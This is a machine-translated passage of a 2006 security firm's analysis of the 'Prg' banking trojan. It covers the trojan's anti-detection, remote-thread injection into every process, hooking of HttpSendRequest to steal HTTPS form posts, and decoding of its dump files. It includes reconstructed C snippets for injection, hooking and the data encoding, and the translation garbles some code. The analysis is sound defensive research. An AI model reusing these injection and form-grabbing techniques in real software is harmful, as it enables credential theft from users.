Você está na página 1de 32

Machine Translated by Google

-1-

[Prg] Estudo de caso de malware

Por Secure Science Corporation e Michael Ligh


13 de novembro de 2006, v1.0

Corporação de Ciência Segura


7770 Regentes Rd.
Suíte 113-535 (877) 570-0455
São Diego, CA 92122 http://www.securescience.net/

Confidencial Página 1 16/11/2006


Machine Translated by Google

-2-

Índice
1. Introdução ................................................ .................................................. .................................................. .......3
2 Metodologia e Convenções............................................. .................................................. ..............................4
3 Resumo de processo, thread e fluxo de dados.................................. .................................................. .................5
4 Rotinas de antidetecção pré-infecção .......................................... .................................................. ......................6
5 Procedimento para invocar threads remotos.......................................... .................................................. .................8
6 Comunicação de Pipe Nomeado......................................... .................................................. .................................9
7 Infecção de Processo em Massa ............................................. .................................................. ........................................10
8 Estruturas internas para ganchos de API ............................................. .................................................. ........................11
9 Substituindo Endereços de Função ............................................. .................................................. .........................12
10 Roubando dados de buffers de solicitação HTTP ........................................... .................................................. ........13
11 Como decodificar e analisar dados de locais de entrega roubados ................................... ................................................14
12 Atualizar e baixar o tópico ............................................. .................................................. .........................17
13 Tópico de upload de dados roubados............................................. .................................................. ................................21
14 Tópico de estatísticas de atividades ............................................. .................................................. ................................23
15 Assinaturas NIDS de borda sangrenta ............................................. .................................................. ......................25
16 Detecção e remoção de cavalos de Tróia......................................... .................................................. ........................26
17 Distribuição e Discussões de Trojans................................................ .................................................. ................30
18 Seção bônus: Novo malware, novos caminhos.......................................... .................................................. .....31
19 Referências e ferramentas................................................... .................................................. ....................................32

Confidencial Página 2 16/11/2006


Machine Translated by Google

-3-

1. Introdução

Este documento contém detalhes de um estudo de caso exploratório conduzido em uma amostra de malware encontrada por membros do
Mal-Aware Group1 . O trojan estava hospedado em servidores web localizados na Ucrânia e na Rússia e existia entre vários gigabytes de
dados codificados com um algoritmo proprietário. Havia quase 10.000 arquivos individuais disponíveis, cada um contendo entre 70 bytes e
56 megabytes de dados roubados que somente criminosos podiam ler... até agora.

O objetivo principal desta pesquisa foi decodificar os dados roubados e inseri-los no IntelliFound, que é uma solução inovadora especializada
em devolver informações confidenciais obtidas ilegalmente às organizações apropriadas. Um objetivo secundário deste estudo é descobrir
e explicar detalhes íntimos sobre o trojan, que inclui, mas não está limitado a, seus mecanismos anti-detecção, estruturas de dados internas,
funções de gancho de API e procedimentos para controlar o fluxo de dados e comunicação entre vários tópicos.

Este relatório original é publicado aqui: http://


ip.securescience.net/advisories/pubMalwareCaseStudy.pdf

Um programa (e código-fonte) para detecção do trojan está disponível aqui: http://


ip.securescience.net/advisories/prgdetect.zip

O código-fonte do trojan revertido e o código-fonte do decodificador de dados roubado podem estar disponíveis entrando em contato com a
Secure Science Corporation.

1
Secure Science Corporation e Sunbelt-Software

Confidencial Página 3 16/11/2006


Machine Translated by Google

-4-

2 Metodologia e Convenções
Esta pesquisa foi conduzida analisando estaticamente uma desmontagem do binário do malware, produzida pelo
IDA Pro, [1]. O código só foi executado em sistema de laboratório nas últimas etapas do estudo, para obter
capturas de pacotes e confirmar a precisão das assinaturas IDS da rede.

Ao longo deste estudo, o código-fonte do trojan foi reproduzido em C. Quando o código-fonte é apresentado no relatório, ele não é uma duplicata exata do código
original. É apenas uma representação modesta baseada no comportamento do código.

Quando variáveis e nomes de funções são usados no contexto de um parágrafo, eles serão formatados em 10-
fonte Lucida Console assim: GetProcAddress().

Confidencial Página 4 16/11/2006


Machine Translated by Google

-5-

3 Resumo de processo, thread e fluxo de dados

Este diagrama mostra uma ampla visão geral da ordem de execução, direção e propósito dos threads primários que estão
espalhados por todo o sistema quando este trojan é executado. O primeiro thread executado fora do prg.exe (nome
original do trojan, mas pode variar) é injetado no winlogon.exe. A partir daqui, dois threads adicionais são criados: um para
iniciar um servidor de pipe nomeado para comunicação com outros threads e outro para executar dentro de svchost.exe. O
processo svchost.exe é de longe o mais movimentado, com a tarefa primeiro de injetar um thread em todos os outros
processos ativos no sistema (*com exceções, consulte Infecção de processos em massa) e, em seguida, iniciar três
threads da Internet para baixar novos cavalos de Tróia, carregar os roubados. dados para um site de entrega e envio de
estatísticas de atividades.

Conforme mostrado no diagrama, o thread que executa dentro de todos os processos do sistema é responsável por conectar,
entre outras, as exportações HttpSendRequestA() e HttpSendRequestW() de wininet.dll.
Portanto, sempre que um processo infectado chamar uma dessas funções para comunicação HTTP, os dados no buffer de
solicitação poderão ser examinados pela função redirecionada. Se atender a determinados critérios, os dados são
codificados e gravados em um arquivo no disco, onde são posteriormente recuperados pelo thread svchost.exe número 6
(Thread de upload de dados roubados) e enviados para o site de descarte.

Confidencial Página 5 16/11/2006


Machine Translated by Google

-6-

4 rotinas antidetecção pré-infecção

A maioria dos autores de malware codifica seus trojans para serem o mais furtivos possível. Se for facilmente detectado, então não
conseguirá atingir os seus objectivos, ou pelo menos não os alcançará na escala desejada ou esperada. No tema escalas, de um a dez,
sendo dez o mais criativo e furtivo, esse malware quase não pontua. O código exibe uma tentativa de evitar a detecção baseada em
assinatura e uma tentativa de evitar serviços de proteção em execução no sistema.

A função main() do trojan começa resolvendo importações de funções e inicializando variáveis globais. Em seguida, ele tenta obter um
identificador para um mutex e, se falhar, o programa termina. Isto é para garantir que duas instâncias do mesmo trojan não sejam
executadas simultaneamente. Caso o mutex esteja disponível, a próxima verificação é iterar por uma matriz global de nomes de
processos para determinar se algum está ativo no sistema. Enquanto isso, o trojan grava uma cópia de si mesmo no diretório do sistema
como ntos.exe e configura o registro para executá-lo na inicialização. Em seguida, ele volta para verificar se algum dos
processos de destino estava em execução. Nesse caso, ele ignora a injeção de um thread no winlogon.exe e simplesmente termina.

Embora possa parecer sutil, esta é na verdade uma decisão bastante inteligente do autor do malware. Enquanto trojans agressivos
tentariam encerrar os serviços de proteção correndo o risco de produzir um sinal de detecção visual (por exemplo, ícone desaparecendo
na bandeja do sistema), esse trojan apenas termina passivamente. No entanto, ele só termina depois de ser gravado no disco e
adicionado como uma entrada na chave userinit do registro, que o executará a partir do winlogon.exe durante a próxima reinicialização.
Como isso provavelmente acontecerá antes do início de qualquer um dos processos alvo, o trojan terá a vantagem de ser executado
antes de qualquer serviço de proteção.

WCHAR *g_szFindExe[] = { L"outpost.exe" };

bool IsProcessActive(void) {
HANDLE hSnapshot; int idx
= 0; bool bEncontrado
= falso;;
PROCESSENTRY32W ProcessEntry;

ProcessEntry.dwSize = 556; hSnapshot =


CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);

if (!Process32FirstW(hSnapshot, &ProcessEntry)) { CloseHandle(hSnapshot); retorna


falso);

fazer {
if (ProcessEntry.th32ProcessID == 0) { // Ignora processo ocioso do sistema
continuar;
}
for(idx=0; idx < (sizeof(g_szFindExe) / sizeof(WCHAR *)); idx++) {
if (lstrcmpiW(ProcessEntry.szExeFile, g_szFindExe[idx]) == 0) {
bEncontrado =
verdadeiro; continuar;
}
}
} while(Process32NextW(hSnapshot, &ProcessEntry));

CloseHandle(hInstantâneo);
return(bEncontrado);
}

Confidencial Página 6 16/11/2006


Machine Translated by Google

-7-

O fato interessante por trás dessa técnica é que o array global é preenchido apenas com um processo – “outpost.exe”. Isso
corresponde ao Outpost Pro Firewall, que possui uma suposta proteção integrada de 360 graus contra spyware e
autoproteção contra software malicioso. Por alguma razão, o autor do malware tem medo do Outpost e de nenhum outro. Ou
isso ou ele simplesmente esqueceu de preencher o array com os nomes dos outros produtos. Isso é óbvio porque a função
IsProcessActive() itera claramente por meio de um array. Não há razão para programar um array e um loop de iteração no trojan
se o array deveria conter apenas um elemento.

Também é possível que outpost.exe seja o nome de outro trojan que esses mesmos autores codificaram e distribuíram. Eles podem
tê-lo nomeado secretamente para se misturar aos sistemas que executam o processo real do Outpost.
Nesse caso, os autores podem estar evitando o outpost.exe porque não desejam executar ambas as cópias do malware no
mesmo sistema.

Quando este trojan se grava no diretório do sistema como ntos.exe, conforme mencionado anteriormente, ele não faz uma duplicata
exata. Em vez disso, ele usa CopyFile() para produzir ntos.exe, depois abre ntos.exe e define o ponteiro do arquivo para o final. Em
seguida, ele calcula um número pseudoaleatório usando GetTickCount() como semente e, em seguida, gera esse número de bytes
psudo-aleatórios usando a mesma semente. O buffer resultante é liberado até o final do ntos.exe. Esta seção de dados não é
referenciada novamente, portanto não existe para ocultar informações. É provável que evite a detecção de quaisquer serviços
que identifiquem código malicioso com base no hash do arquivo. O código a seguir mostra a função que gera esses valores pseudo-
aleatórios junto com
trechos de código de main() que mostram como os valores resultantes são usados.

int GenRandomFillByte(int ival, UINT uival) {


if (g_ddTick == 0) { g_ddTick =
GetTickCount();

} g_ddTick = (g_ddTick * 214013) + 2531011; uival = (uival - ival) + 1;


return((g_ddTick% uival) + ival);

ddPointer = SetFilePointer(hNtos, 0, NULL, FILE_END); uHeapBytes = (GenRandomFillByte(0,


1024)) * 512; btOut = (BYTE *)HeapAlloc(GetProcessHeap(),
HEAP_ZERO_MEMORY, uHeapBytes);

for (ctr = 0; ctr < uHeapBytes; ctr++) { btOut[ctr] =


(BYTE)GenRandomFillByte(0, GenRandomFillByte(1, 255));
}

WriteFile(hNtos, btOut, uHeapBytes, &dwNumberOfBytesWritten, NULL);

Confidencial Página 7 16/11/2006


Machine Translated by Google

-8-

5 Procedimento para invocar threads remotos


Existem várias maneiras pelas quais um processo pode invocar um thread de dentro de outro processo. Entre os mais
comuns são forçar um processo a chamar LoadLibrary() em uma DLL especificada, invocando assim a rotina
DllMain() dessa biblioteca e usando a função da API CreateRemoteThread(). Em ambos os casos, o requisito
é que o código exista dentro do espaço de memória virtual do processo remoto antes que o thread possa
começar.

Este trojan, em particular, invoca um thread de sua própria base de código de dentro de um processo remoto,
primeiro gravando sua imagem inteira em uma região na pilha do processo remoto; e então
chamar CreateRemoteThread() especificando o endereço da sub-rotina desejada. Durante a execução da função
main() do trojan, uma variável global é inicializada com um ponteiro para o endereço base do trojan (o membro
ImageBase da estrutura IMAGE_OPTIONAL_HEADER32 de um PE). Esse valor é usado para localizar o membro
SizeOfImage, que indica o tamanho geral do PE na memória, incluindo todas as seções e alinhamento. Este é o
número de bytes que o trojan tenta escrever no heap de um processo remoto, para que possa copiar-se inteiramente.

Um aspecto interessante desta rotina é que o trojan *requer* que o endereço de sua base de imagens esteja
disponível no processo remoto. Quando o trojan chama VirtualAllocEx() para o processo remoto, ele especifica
seu próprio endereço base como o endereço inicial desejado para a região de páginas a ser alocada. Se esta
região já tiver sido reservada (ou confirmada), a função falhará e CreateRemoteThread()
nunca é chamado. Isso indica que o autor do malware era muito preguiçoso ou não sabia como rebasear a imagem
na região de memória de um processo remoto.

No entanto, o autor sabia como rebasear a própria imagem do trojan, porque o valor do ImageBase é 0x14D00000
em vez do padrão 0x00400000. A razão óbvia para rebasear a imagem é evitar conflitos com outros módulos
carregados pelo processo remoto que utilizam o endereço padrão.

Esta é a rotina usada para infectar winlogon.exe a partir de prg.exe; e como winlogon.exe infecta svchost.exe; e
como o svchost.exe infecta todos os outros processos.

Confidencial Página 8 16/11/2006


Machine Translated by Google

-9-

6 Comunicação de tubo nomeado


Conforme mostrado no Resumo de processo, thread e fluxo de dados, uma vez que o código trojan está em execução dentro do
winlogon.exe, ele inicia um servidor de pipe nomeado para lidar com a comunicação entre os vários outros threads. O servidor de
pipe nomeado é essencialmente uma instrução switch() que aceita um número inteiro entre 1 e 13 como código de ação e executa a ação
correspondente. Ao analisar o código em torno das chamadas de função que enviam dados pelo canal nomeado, e ainda mais, ao analisar o
código dentro de cada caso da instrução switch, pode-se gerar constantes significativas com base nos códigos de ação do canal.

#define PIPE_REQUEST_PROCESS_ID #define 4


PIPE_REQUEST_VIDEO_OBTAIN 5 #define
PIPE_REQUEST_VIDEO_RELEASE 6 #define
PIPE_REQUEST_AUDIO_OBTAIN 7 #define
PIPE_REQUEST_AUDIO_RELEASE 8 #define
PIPE_REQUEST_NTOS_RELEASE 9 #define
PIPE_REQUEST_NTOS_O BTAIN 10 #define
PIPE_REQUEST_NTOS_LENGTH #define 11
PIPE_REQUEST_VIDEO_LENGTH 12 #define
PIPE_REQUEST_AUDIO_LENGTH 13

A finalidade deste servidor de pipe nomeado é manter o controle sobre recursos específicos do sistema e responder a perguntas
comuns que outros threads possam fazer. Considere um exemplo de cenário como explicação disso. Conforme mostrado no diagrama, as
funções da API em cada processo do sistema são conectadas com a intenção de examinar os dados contidos em um buffer de solicitação
HTTP e gravar uma versão codificada desses dados em um arquivo no disco, se atender a determinados critérios. O arquivo que recebe
esses dados não é arbitrário ou aleatório, é o audio.dll localizado no diretório system32\wsnpoem.

Isto significa que se dois ou mais processos no sistema tentarem enviar uma solicitação HTTP no mesmo ponto
com o tempo, eles podem acabar competindo pelo acesso de gravação ao audio.dll. Uma solução razoável pode ser criar um mutex para
identificadores de gravação no arquivo; e exigir que todos os threads aguardem o mutex antes de tentar abrir o arquivo para gravação.
No entanto, se outro processo no sistema quisesse contornar isso e o compartilhamento de arquivos estivesse configurado incorretamente,
tudo o que seria necessário fazer seria simplesmente falhar na verificação do mutex antes de tentar adquirir um identificador de
gravação. É aí que o benefício do servidor pipe se torna aparente.

Quando o thread de trojan inicial é executado no winlogon.exe, ele obtém um identificador para audio.dll e especifica *nenhum*
compartilhamento de arquivo. Isso evita que qualquer outro processo no sistema acesse o arquivo até que o identificador
do winlogon.exe seja fechado. Na verdade, isso também evita que qualquer programa de monitoramento ou análise leia o conteúdo do
arquivo, a menos que primeiro feche o identificador de dentro do winlogon.exe; ou se eles contornarem a API do Windows com drivers
personalizados. Se tentarem sem um desses métodos, ocorrerá uma violação de compartilhamento.

Então, se teoricamente nenhum processo pode obter um identificador de leitura para audio.dll, muito menos gravar nele, como todos os
processos do sistema trojanizados o usam para armazenar dados roubados? Bem, eles simplesmente enviam uma
mensagem PIPE_REQUEST_AUDIO_RELEASE para o servidor pipe, que já sabemos que é executado no winlogin.exe. Isso solicita que
winlogon.exe feche seu identificador para audio.dll por um curto período de tempo
necessário para que o processo do cliente grave suas informações no arquivo. Quando concluído, o cliente envia uma mensagem
PIPE_REQUEST_AUDIO_OBTAIN ao servidor de pipe, informando que é seguro obter novamente um identificador exclusivo para
audio.dll.

Confidencial Página 9 16/11/2006


Machine Translated by Google

- 10 -

7 Infecção de Processo em Massa

O thread número 4 do Resumo de processos, threads e fluxo de dados mostra svchost.exe infectando todos os outros processos.
Conforme mencionado na descrição do diagrama, existem algumas exceções. Duas dessas exceções são o processo de trojan
original (prg.exe ou qualquer que seja seu nome) e a instância de svchost.exe atualmente executando o thread. Um sistema
normalmente terá várias cópias de svchost.exe
funcionando simultaneamente. Com base no método de seleção do trojan, ele infectará inicialmente aquele com o pid mais baixo
(aquele executado como NT AUTHORITY\SYSTEM).

A razão pela qual esses dois processos são ignorados durante o estágio de infecção do processo em massa é porque eles já possuem
o código 0x14D00000; e sabemos pelo Procedimento para invocar threads remotos que o trojan não é capaz de rebasear sua imagem
em um processo remoto. As outras duas exceções são o processo ocioso do sistema com pid 0 e qualquer processo denominado
“csrss.exe”.

O processo ocioso do sistema não é um processo real, portanto não é alvo de infecção. Csrss.exe é o único processo no subsistema
que possui o bit “processo crítico” definido em seu campo de sinalizadores de estrutura de processo do kernel (EPROCESS), [2]. Se este
processo for encerrado, o sistema para com uma tela azul CRITICAL_PROCESS_DIED. Este programa foi ignorado devido a
problemas de acessibilidade e questões de estabilidade do sistema.
Curiosamente, o código que verifica os nomes dos processos não verifica os caminhos dos diretórios, portanto, ignorará a
infecção de qualquer processo chamado csrss.exe e não apenas do subsistema real do system32.

Pode-se estragar completamente as rotinas de tomada de decisão do trojan renomeando seu processo Outpost Pro Firewall de
outpost.exe para csrss.exe. Neste caso, o trojan avançará a todo vapor com a infecção do sistema, porém irá pular o processo real do
Outpost; deixando-se totalmente aberto para detecção.

Em geral, o ciclo de infecção do processo em massa é muito simples. É comum entre os malwares obter apenas uma lista de processos
em execução chamando CreateToolhelp32Snapshot() e, em seguida, percorrendo as estruturas PROCESSENTRY32 com
Process32First() e Process32Next().

Conforme mostrado abaixo, caso nenhuma exceção seja encontrada, o processo é aberto com, entre outras, as permissões
VM_WRITE, VM_OPERATION e CREATE_THREAD; e o identificador obtido é passado para ManageInvasion(). Esta é uma função
interna que trata das operações descritas em Procedimento para invocar threads remotos. A carga útil desta invasão (um thread) será
descrita na próxima seção.

fazer {
if (ProcessEntry.th32ProcessID == 0 || ProcessEntry.th32ProcessID // pula o processo ocioso // pula
== g_ddOriginalPid || ProcessEntry.th32ProcessID == ddOwnPid || prg.exe // pula ele mesmo
lstrcmpiW(ProcessEntry.szExeFile, L"csrss.exe") == 0) // pular csrss.exe

{
continuar;

} hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_WRITE | PROCESS_VM_READ |


PROCESS_VM_OPERATION | PROCESS_CREATE_THREAD, falso, ProcessEntry.th32ProcessID); if (hProcess ==
NULL) { continuar;

}
ManageInvasion(hProcess, ProcessEntry.th32ProcessID); CloseHandle(hProcess); }
while(Process32NextW(hSnapshot,
&ProcessEntry));

Confidencial Página 10 16/11/2006


Machine Translated by Google

- 11 -

8 estruturas internas para ganchos de API

Para conectar uma função API, é necessário organizar várias informações ou poderão ocorrer problemas sérios. Isto pode incluir o
nome da função a ser conectada, o nome da biblioteca que exporta a função a ser conectada, o endereço existente da função na memória
e o endereço de uma função para ocupar seu lugar. Este trojan organiza as informações como duas estruturas de dados internas.

Uma das estruturas contém cinco membros. A seção global do trojan declara uma série dessas estruturas; um para cada uma das
funções da API que deseja conectar.

typedef estrutura HOOK_FUNCTION_t {


PALAVRA dwStatus; // dados de status (por exemplo, 0==função não conectada) // este campo
PALAVRA dwReservado; não é usado
char *szFunction; void // ponteiro para o nome da função terminada em nulo // ponteiro para a
*endereço antigo; void função original na memória
*novoEndereço; //ponteiro para função de substituição na memória
} HOOK_FUNCTION, *PHOOK_FUNCTION;

A outra estrutura contém apenas três membros, um dos quais é um ponteiro para (uma matriz de)
Estruturas HOOK_FUNCTION. Existe uma dessas estruturas para cada um dos módulos DLL que contém uma função a ser
conectada.

typedef struct HOOK_MODULE_t { // ponteiro para o


char *szModule; nome do módulo DLL terminado em nulo
HMÓDULO hMódulo; // identificador para o módulo

PHOOK_FUNCTION FHOOK; //ponteiro para estrutura HOOK_FUNCTION


} HOOK_MODULE, *PHOOK_MODULE;

A tabela a seguir descreve as funções que esse trojan intercepta, os módulos dos quais eles são exportados e o principal motivo
para fazer isso.

Função API Módulo Objetivo wininet.dll


HttpSendRequestW Examinar e roubar dados do buffer de solicitação wininet.dll
HttpSendRequestA Examinar e roubar dados do buffer de solicitação wininet.dll
HttpSendRequestExW Examinar e roubar dados do buffer de solicitação wininet.dll
HttpSendRequestExA Examinar e roubar dados do buffer de solicitação ntdll.dll Interceptar
NtCreateThread solicitações e infectar novos threads. ntdll.dll Impede que chamadas
LdrLoadDll subsequentes para LoadLibrary() restaurem o endereço da função conectada ao original.

LdrGetProcedureAddress ntdll.dll Impedir que chamadas subsequentes para GetProcAddress() restaurem o endereço
da função conectada ao original.

Esses redirecionamentos garantem que quando um processo no sistema usa a API do Windows (em vez de soquetes brutos) para enviar
uma solicitação HTTP, a URL e a carga útil estão sujeitas à inspeção pelo código do trojan.
Além disso, se o processo tentar recarregar o módulo com funções viciadas, ou tentar solicitar novamente o endereço legítimo da
função viciada, essas chamadas também serão interceptadas para que as funções permaneçam viciadas. A razão pela qual o trojan
conecta exportações do NT, como LdrLoadDll() em vez de LoadLibrary() do kernel32, é porque as bibliotecas podem ser
carregadas chamando LdrLoadDll() diretamente, portanto, simplesmente conectar LoadLibrary() não seria eficaz em todos os
casos. No entanto, como o próprio LoadLibrary() chama LdrLoadDll(), ao conectar LdrLoadDll(), pode-se ter certeza de que quaisquer
chamadas para LoadLibrary()
eventualmente resultará no controle da execução.

Confidencial Página 11 16/11/2006


Machine Translated by Google

- 12 -

9 Substituindo Endereços de Função


Supondo que o código trojan esteja sendo executado dentro de um processo específico. Para conectar uma função de API, o código
poderia localizar a tabela de importação do processo pai, analisar as estruturas de importação e substituir o endereço desejado.
Porém, isso dificilmente será eficiente se o processo tiver carregado outros módulos que também importam a mesma função.
Neste caso, claro, a função é teoricamente enganchada, mas apenas de um ângulo. Isto não é ideal para um autor de malware,
pois dificilmente é abrangente e pode ser contornado por operações normais de
o processo pai.

O trojan aborda este problema de forma diferente, o que permite uma maior taxa de sucesso. Ele chama
EnumProcessModules() para obter um identificador para cada módulo (DLL) no processo especificado. Em seguida, ele percorre cada
módulo (o identificador é essencialmente um ponteiro para o endereço base do módulo na memória).
Ele localiza o array de estruturas IMAGE_DATA_DIRECTORY e a partir daí encontra as informações da tabela de importação.
Se o nome do módulo importado corresponder ao nome em uma das estruturas HOOK_MODULE, o ponteiro HOOK_FUNCTION dessa
estrutura será desreferenciado. Segue-se um loop para localizar cada função a ser conectada.

Para cada uma das funções, o valor HOOK_FUNCTION.oldAddress é localizado e substituído pelo valor HOOK_FUNCTION.newAddress.
Isso conecta efetivamente todas as chamadas para a função de destino de todos os módulos carregados pelo processo que está sendo
infectado. Este é o mesmo endereço que está sendo substituído e preenchido pelo carregador PE quando ele resolve importações para o
módulo. O código abaixo mostra um exemplo de como um
A estrutura HOOK_FUNCTION é iniciada.

g_HOOK_FUNCTION[0].dwStatus = 0;
g_HOOK_FUNCTION[0].szFunction = "HttpSendRequestW";
g_HOOK_FUNCTION[0].oldAddress = GetProcAddress(hModule, "HttpSendRequestW"); g_HOOK_FUNCTION[0].newAddress =
&_HttpSendRequestW;

Conforme mostrado, o membro oldAddress é iniciado no endereço base da função legítima na memória, conforme retornado por
GetProcAddress(). Essas informações são obtidas antes de LdrGetProcedureAddress() ser conectado, portanto, são higiênicas. O membro
newAddress é inicializado com o deslocamento da função de substituição na própria base de código do trojan.

Confidencial Página 12 16/11/2006


Machine Translated by Google

- 13 -

10 Roubando dados de buffers de solicitação HTTP


O trojan é capaz de examinar e roubar dados de buffers de solicitação HTTP mesmo se o usuário estiver visitando um site SSL,
usando um teclado virtual, ou copiando e colando informações em um navegador usando a área de transferência. Assim que as
funções de substituição HttpSendRequest*() começarem a ser executadas, uma das primeiras tarefas é examinar os dados que
aguardam no buffer de solicitação. O trojan apenas rouba informações de solicitações POST com um tipo de conteúdo
“application/x-www-form-urlencoded”. Ignora solicitações GET; e solicitações POST com outros tipos de conteúdo. Para descobrir
essas informações, ele chama HttpQueryInfo() duas vezes, uma vez com um nível de informação HTTP_QUERY_REQUEST_METHOD
e uma vez com HTTP_QUERY_CONTENT_TYPE. Em seguida, ele simplesmente faz uma comparação de strings no valor
retornado.

Se a função viciada não roubar os dados do buffer de solicitação, ela simplesmente prosseguirá chamando a função legítima
HttpSendRequest*(). Caso contrário, ele aprenderá a URL na qual os dados devem ser POSTados chamando
InternetQueryOption(). Em seguida, os dados a serem roubados são copiados para uma região do heap e formatados de acordo com
a seguinte estrutura:

estrutura typedef STOLEN_DATA_t {


DWORD ddReservado1; // deve ser NULL //
PALAVRA dwStructureSize; comprimento do cabeçalho da estrutura //
BYTE bModuleSzLen; comprimento do nome do módulo // deve
PALAVRA ddReservado2; ser NULL // comprimento
DWORD ddComprimentoTotal; do registro inteiro // hora do sistema //
SYSTEMTIMETempodoSistema; polarização de tempo //
PALAVRA dwTimeBias; versão principal e
BYTE bMajorVersão; secundária // // número da compilação (por
BYTE bMinorVersão; (por exemplo, 5.1 == Windows XP)
PALAVRA dwBuildNumber; exemplo, 2600 ) // service pack do sistema //
BYTEbServicePack; resultado de GetTickCount() // idioma
DWORD ddTickResult; padrão do sistema // caminho do módulo
PALAVRA dwLanguageID; char (comprimento varia)
szModuleFileName[]; char szUrlAndPayload[];
// URL e carga útil POST (comprimento varia)
} STOLEN_DATA;

estrutura typedef HALL_RECORD_t {


Assinatura DWORD; // "HALL" //
DWORD ddRecordLength; comprimento do RECORD //
REGISTRO ROUBADO_DADOS; estrutura da informação roubada
} HALL_RECORD;

Os membros STOLEN_DATA são inicializados com informações como o caminho completo para o módulo que faz a solicitação
HTTP (por exemplo, C:\Arquivos de Programas\Mozilla Firefox\firefox.exe); a data e hora do sistema; versões principais,
secundárias e de compilação do sistema operacional; o idioma padrão do sistema; e, claro, o URL e a carga útil do POST. Todo o
buffer é codificado com o algoritmo proprietário, mas bastante simples, do trojan (revelado na próxima seção).

Em seguida, um identificador de gravação para audio.dll é obtido enviando primeiro ao servidor de pipe
nomeado uma mensagem PIPE_REQUEST_AUDIO_RELEASE. Quando o registro é anexado ao arquivo, ele contém o 4-
assinatura de byte “HALL” e um campo de comprimento de 4 bytes. Aqui, os dados aguardarão até que o thread de upload de
dados roubados os recupere.

Confidencial Página 13 16/11/2006


Machine Translated by Google

- 14 -

11 Como decodificar e analisar dados de locais de entrega roubados

Conforme mencionado na introdução, os mesmos servidores web que hospedam o binário do malware foram acompanhados por
vários gigabytes de arquivos contendo estruturas STOLEN_DATA codificadas. Através da engenharia reversa da função de
codificação, um programa de decodificação pode ser produzido. A maior parte da rotina é bastante simples. O loop itera uma vez
para cada byte no buffer e aplica uma fórmula matemática simples com base no fato de o byte ser par ou ímpar na sequência. O
buffer resultante é descompactado de acordo com o algoritmo LZNT1, que está disponível por meio da exportação RtlDecompressBuffer()
de ntdll.dll. Aqui estão algumas linhas da fonte do programa de decodificação que mostram como a maior parte do trabalho é
feita:

for(uiCnt=0; uiCnt < ddlength; uiCnt++) { meuByte = (BYTE)uiCnt;


if( ((BYTE)uiCnt & 0x01) == 0 ) {

meuByte += 5; *= 2;
meuByte

} else
{ meuByte = 0xF9 - (meuByte * 2);

} buffer[uiCnt] += meuByte;
}

As imagens a seguir mostram uma captura de tela antes e depois de dados de amostra:

Confidencial Página 14 16/11/2006


Machine Translated by Google

- 15 -

Observe que o URL é para um site HTTPS, mas os dados roubados aparecem em texto simples após a decodificação. Isso ocorre porque no
momento em que os dados são roubados do buffer de solicitação, eles ainda não foram criptografados com SSL.

As estatísticas a seguir são geradas pelo programa de decodificação quando ele é executado em todos os dados codificados de ambos os locais
de descarte conhecidos. A primeira tabela mostra os domínios de destino mais frequentes que correspondem à string
“banco” para o qual as informações do usuário foram comprometidas. Lembre-se de Roubar dados de buffers de solicitação HTTP que
cada um desses registros contém o URL completo e a carga útil POST não criptografada da solicitação da web de um usuário.

URL de destino (banco) Registros


https://sitekey.bankofamerica.com 186 http://
mail.coldwellbanker.com 179 https://chaseonline.chase.com
95 https://netbank.ffsb.com 22 https://o9863652.da-
us .citibank.com 20

A tabela a seguir mostra os domínios de destino mais frequentes que correspondem à string “login”.

URL de destino (login) https:// Registros


login.facebook.com http:// 7482
login.myspace.com https:// 5165
login.yahoo.com https:// 2419
login.live.com http:// 1390
login.netdragons.com 109

A tabela a seguir mostra os domínios de destino mais frequentes que correspondem à string “mail”, excluindo quaisquer resultados existentes
nas tabelas anteriores (por exemplo, mail.coldwellbanker.com).

URL de destino (e-mail) https:// Registros


*.*.mail.yahoo.com https:// 3892
*.*.hotmail.msn.com http:// 520
webmail.bellsouth.net http:// 405
mail.google.com http :// 90
mailcenter.comcast.com 55

A tabela a seguir mostra extratos selecionados da lista de domínios de destino.

URL de destino (selecionado) https:// Registros


www.paypal.com https:// 235
*.ebay.com https:// 598
www.amazon.com 100

Finalmente, a última tabela relacionada ao domínio de destino mostra os sites relacionados a adware e spyware. Parece que os sistemas
infectados com este trojan também estão infectados com uma grande quantidade de outros vírus desagradáveis
programas.

Nome URL de destino (adware) Registros


Economizador de alvo http://a.targetsaver.com 352956 http://cu.outerinfo.com
Informações externas 197650 http://download.websearch.com 64396 http://
Pesquisa na internet www.think-adz2.com 59763 http://config.hotbar .com 39259
Pense-Adz http://ddcm.wildtangent.com 36497
Barra de atalho

Tangente Selvagem

Confidencial Página 15 16/11/2006


Machine Translated by Google

- 16 -

Otimizador de Internet http://www.internet-optimizer.com 22665 180Solutions 17116


http://config.180solutions.com

As estatísticas restantes a serem compartilhadas são coletadas dos mesmos registros de dados roubados que o conteúdo da carga útil.
A primeira tabela mostra o sistema operacional ativo em execução nas máquinas vítimas.

Registra versão do sistema operacional

1058354 WindowsXP (2600)


84469 Janelas 2000 (2195) 11
Windows Server 2003 ou 2003 R2 (3790) 4
Janelas XP (2526)

A tabela a seguir mostra o idioma do usuário padrão para o qual a máquina vítima está configurada.

Linguagem de Registros
1129815 Inglês 12497
133 132 Chinês simplificado)
126 Francês
78 Espanhol
30 Chinês tradicional)
27 Tcheco
árabe
coreano

A tabela a seguir mostra o número de registros de dados roubados durante as semanas de outubro de 2006. Observe que há 0 registros
na primeira semana. Isto é interessante porque duas das três amostras de malware que obtivemos estão marcadas com o tempo de
compilação de 22 de setembro de 2006. Embora esse campo de dados possa ser facilmente falsificado, não há indicação disso; e as
datas fazem todo o sentido. Lembre-se de que o autor/operador do malware pode alterar rapidamente os sites de descarte apenas
modificando uc.bin e aguardando a atualização dos clientes. Com base nesta informação, o local de entrega provavelmente existia em
outro lugar antes e durante a primeira semana de outubro.

Intervalo de Registros
datas 1/10 -
7/10 8/10 - 0 401205
14/10 15/10 - 141199
21/10 22/10 - 67070
28/10 29/10 - 4/11 264491

A terceira amostra de malware, sem tempo de compilação correspondente aos dois primeiros, é datada de 15 de outubro de 2006.
Esta amostra foi doada por Castle Cops MIRT, [9] e será discutida na seção Bônus: Novo Malware, Novas Avenidas .

Confidencial Página 16 16/11/2006


Machine Translated by Google

- 17 -

12 Tópico de atualização e download


O primeiro thread relacionado à Internet executado no svchost.exe tem a tarefa de atualizar o arquivo de configuração do link do trojan e baixar
um arquivo arbitrário. Se o arquivo for um binário de 32 ou 64 bits, o trojan tenta executá-lo no sistema com CreateProcess().

Voltando à discussão sobre furtividade na seção Rotinas Antidetecção , um trojan precisa saber qual site contatar para obter atualizações. Os
